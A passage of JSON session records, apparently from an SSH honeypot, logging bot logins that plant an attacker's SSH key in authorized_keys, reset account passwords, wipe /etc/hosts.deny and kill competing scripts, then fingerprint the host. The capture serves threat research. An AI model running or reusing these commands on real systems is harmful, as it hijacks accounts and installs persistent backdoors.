-l"},{"seq":4,"at":"2026-08-27T14:03:10.101190+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:03:10.930882+00:00","kind":"input","latency_ms":null,"data":"echo -e \"toor\\n7ZeGNqMcUPYY\\n7ZeGNqMcUPYY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:03:11.763777+00:00","kind":"input","latency_ms":null,"data":"echo \"toor\\n7ZeGNqMcUPYY\\n7ZeGNqMcUPYY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:03:12.405198+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:03:12.589279+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T14:03:13.054721+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:03:13.826360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:03:14.656301+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:03:16.660589+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:03:17.492288+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:03:19.272315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:03:20.102618+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:03:22.299166+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:03:23.130400+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:03:24.894113+00:00","kind":"output","latency_ms":null,"data":" 14:03:24 up 7 days, 10:53, 0 user, load average: 0.1, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:03:25.720706+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:03:27.640098+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:03:28.468100+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:03:29.334059+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:03:30.160801+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:03:31.488216+00:00","kind":"output","latency_ms":null,"data":"top - 14:03:31 up 7 days, 10:53, 0 user, load average: 0.1, 0.12, 0.11\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:03:32.315671+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:03:33.997398+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:03:34.825270+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:03:36.405709+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:03:37.239218+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:03:38.927641+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T14:03:39.753650+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:03:40.775420+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:03:41.619959+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:03:43.754476+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"toor","method":"password","accepted":true,"tier":"other"}]} {"id":"f1c9ad32-fb86-4909-9414-08f61e3f05cf","name":"gnarled-airy-addax","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":46340,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":419,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:02:44.546918+00:00","ended_at":"2026-08-27T14:02:45.955061+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2142,"events":[{"seq":1,"at":"2026-08-27T14:02:12.674687+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:02:13.142377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:02:18.596266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:02:19.476141+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:02:20.204962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:02:20.622811+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:02:20.947267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:02:21.859103+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:02:22.231071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:02:23.029295+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:02:23.455217+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:02:24.801800+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:02:25.222100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:02:27.057126+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:02:27.476244+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:02:29.291160+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:02:29.616758+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:02:30.981785+00:00","kind":"output","latency_ms":null,"data":" 14:02:30 up 7 days, 10:52, 0 user, load average: 0.17, 0.2, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:02:31.323176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:02:32.922528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:02:33.250035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:02:35.434830+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:02:36.693205+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:02:37.579500+00:00","kind":"output","latency_ms":null,"data":"top - 14:02:37 up 7 days, 10:52, 0 user, load average: 0.17, 0.2, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:02:38.034620+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:02:38.856178+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:02:39.183859+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:02:40.209997+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:02:40.797732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:02:41.755758+00:00","kind":"output","latency_ms":null,"data":"it"},{"seq":31,"at":"2026-08-27T14:02:42.084767+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:02:44.215959+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:02:44.547773+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:02:45.757306+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"it","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"03e09488-6fbd-4a58-a7e6-9d802ca8d780","name":"gloomy-weathered-chough","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":44650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":834,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:51.154232+00:00","ended_at":"2026-08-27T14:01:53.311292+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-27T14:01:11.082996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:01:11.919020+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:01:19.530231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:01:20.448583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:01:21.287063+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oQDdVnwxuhp4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T14:01:22.325191+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T14:01:22.831195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:01:23.165283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T14:01:24.461361+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:01:25.295965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:01:27.272050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:01:28.106366+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T14:01:29.223456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T14:01:30.076073+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T14:01:32.203048+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T14:01:33.045164+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T14:01:34.686600+00:00","kind":"output","latency_ms":null,"data":" 14:01:34 up 7 days, 10:51, 0 user, load average: 0.33, 0.31, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T14:01:35.522128+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T14:01:37.177349+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T14:01:38.024403+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T14:01:39.152756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T14:01:39.993719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T14:01:40.931608+00:00","kind":"output","latency_ms":null,"data":"top - 14:01:40 up 7 days, 10:51, 0 user, load average: 0.33, 0.31, 0.34\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T14:01:41.765876+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T14:01:43.408280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T14:01:44.241939+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T14:01:45.628209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T14:01:46.462894+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T14:01:48.571364+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T14:01:49.407809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T14:01:50.319845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T14:01:51.155024+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T14:01:53.044536+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ipecscm","method":"password","accepted":true,"tier":"other"}]} {"id":"db998d05-b649-442a-afe5-6fae9b692980","name":"dewy-amber-condor","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54580,"username":"zjsf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":336,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:07.505547+00:00","ended_at":"2026-08-27T14:01:08.951013+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2137,"events":[{"seq":1,"at":"2026-08-27T14:00:38.715307+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:00:39.059987+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:00:42.628103+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:00:44.113605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:00:44.447162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zjsf\\nz21eAxaamxar\\nz21eAxaamxar\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:00:44.881359+00:00","kind":"input","latency_ms":null,"data":"echo \"zjsf\\nz21eAxaamxar\\nz21eAxaamxar\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:00:45.219074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:00:45.702047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:00:45.825420+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:00:46.797723+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:00:47.129797+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:00:48.798824+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:00:49.357308+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:00:50.723505+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:00:51.063092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:00:52.315575+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:00:53.054076+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:00:54.507747+00:00","kind":"output","latency_ms":null,"data":" 14:00:54 up 7 days, 10:51, 0 user, load average: 0.11, 0.14, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:00:54.843527+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:00:56.367432+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:00:56.799210+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:00:57.661842+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:00:57.993896+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:00:59.618263+00:00","kind":"output","latency_ms":null,"data":"top - 14:00:59 up 7 days, 10:51, 0 user, load average: 0.11, 0.14, 0.08\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:00:59.952728+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:01:01.057408+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:01:01.392669+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:01:02.524302+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:01:02.993887+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:01:04.945216+00:00","kind":"output","latency_ms":null,"data":"zjsf"},{"seq":31,"at":"2026-08-27T14:01:05.576927+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:01:07.171688+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:01:07.506257+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:01:08.848453+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zjsf","password":"zjsf","method":"password","accepted":true,"tier":"other"}]} {"id":"f76a8500-8dba-481b-bb0e-ddca5478f49a","name":"arctic-painted-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":48716,"username":"aswin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":840,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:57.516556+00:00","ended_at":"2026-08-27T13:59:58.701587+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2151,"events":[{"seq":1,"at":"2026-08-27T13:59:18.891566+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:19.732758+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:26.940168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:27.994028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:28.839175+00:00","kind":"input","latency_ms":null,"data":"echo -e \"aswin\\nT3nLoyqhgnjm\\nT3nLoyqhgnjm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:59:29.678669+00:00","kind":"input","latency_ms":null,"data":"echo \"aswin\\nT3nLoyqhgnjm\\nT3nLoyqhgnjm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:59:30.294754+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:30.524200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:31.368488+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:59:31.373437+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:59:32.214846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:59:33.535452+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:59:34.374900+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:59:35.661181+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:59:36.499061+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:59:38.144186+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:59:38.987904+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:59:41.153694+00:00","kind":"output","latency_ms":null,"data":" 13:59:41 up 7 days, 10:49, 0 user, load average: 0.05, 0.06, 0.04\nUSER TTY FROM 